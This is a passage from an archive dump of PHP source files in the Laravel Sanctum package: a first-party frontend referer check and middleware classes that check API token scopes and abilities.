\Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, \Illuminate\Session\Middleware\StartSession::class, config('sanctum.middleware.validate_csrf_token'), config('sanctum.middleware.verify_csrf_token', \Illuminate\Foundation\Http\Middleware\VerifyCsrfToken::class), config('sanctum.middleware.authenticate_session'), ]))); array_unshift($middleware, function ($request, $next) { $request->attributes->set('sanctum', true); return $next($request); }); return $middleware; } /** * Determine if the given request is from the first-party application frontend. * * @param \Illuminate\Http\Request $request * @return bool */ public static function fromFrontend($request) { $domain = $request->headers->get('referer') ?: $request->headers->get('origin'); if (is_null($domain)) { return false; } $domain = Str::replaceFirst('https://', '', $domain); $domain = Str::replaceFirst('http://', '', $domain); $domain = Str::endsWith($domain, '/') ? $domain : "{$domain}/"; $stateful = array_filter(config('sanctum.stateful', [])); return Str::is(Collection::make($stateful)->map(function ($uri) { return trim($uri).'/*'; })->all(), $domain); } } Middleware/CheckForAnyScope.php 0000644 00000001530 15111377070 0012461 0 ustar 00 <?php namespace Laravel\Sanctum\Http\Middleware; use Laravel\Sanctum\Exceptions\MissingScopeException; /** * @deprecated * @see \Laravel\Sanctum\Http\Middleware\CheckForAnyAbility */ class CheckForAnyScope { /** * Handle the incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @param mixed ...$scopes * @return \Illuminate\Http\Response * * @throws \Illuminate\Auth\AuthenticationException|\Laravel\Sanctum\Exceptions\MissingScopeException */ public function handle($request, $next, ...$scopes) { try { return (new CheckForAnyAbility())->handle($request, $next, ...$scopes); } catch (\Laravel\Sanctum\Exceptions\MissingAbilityException $e) { throw new MissingScopeException($e->abilities()); } } } Middleware/CheckForAnyAbility.php 0000644 00000001654 15111377070 0013014 0 ustar 00 <?php namespace Laravel\Sanctum\Http\Middleware; use Illuminate\Auth\AuthenticationException; use Laravel\Sanctum\Exceptions\MissingAbilityException; class CheckForAnyAbility { /** * Handle the incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @param mixed ...$abilities * @return \Illuminate\Http\Response * * @throws \Illuminate\Auth\AuthenticationException|\Laravel\Sanctum\Exceptions\MissingAbilityException */ public function handle($request, $next, ...$abilities) { if (! $request->user() || ! $request->user()->currentAccessToken()) { throw new AuthenticationException; } foreach ($abilities as $ability) { if ($request->user()->tokenCan($ability)) { return $next($request); } } throw new MissingAbilityException($abilities); } } Middleware/CheckScopes.php 0000644 00000001513 15111377070 0011526 0 ustar 00 <?php namespace Laravel\Sanctum\Http\Middleware; use Laravel\Sanctum\Exceptions\MissingScopeException; /** * @deprecated * @see \Laravel\Sanctum\Http\Middleware\CheckAbilities */ class CheckScopes { /** * Handle the incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @param mixed ...$scopes * @return \Illuminate\Http\Response * * @throws \Illuminate\Auth\AuthenticationException|\Laravel\Sanctum\Exceptions\MissingScopeException */ public function handle($request, $next, ...$scopes) { try { return (new CheckAbilities())->handle($request, $next, ...$scopes); } catch (\Laravel\Sanctum\Exceptions\MissingAbilityException $e) { throw new MissingScopeException($e->abilities()); } } } Middleware/CheckAbilities.php 0000644 00000001650 15111377070 0012201 0 ustar 00 <?php namespace Laravel\Sanctum\Http\Middleware; use Illuminate\Auth\AuthenticationException; use Laravel\Sanctum\Exceptions\MissingAbilityException; class CheckAbilities { /** * Handle the incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @param mixed ...$abilities * @return \Illuminate\Http\Response * * @throws \Illuminate\Auth\AuthenticationException|\Laravel\Sanctum\Exceptions\MissingAbilityException */ public function handle($request, $next, ...$abilities) { if (! $request->user() || ! $request->user()->currentAccessToken()) { throw new AuthenticationException; } foreach ($abilities as $ability) { if (! $request->user()->tokenCan($ability)) { throw new MissingAbilityException($ability); } } return $next($request); } }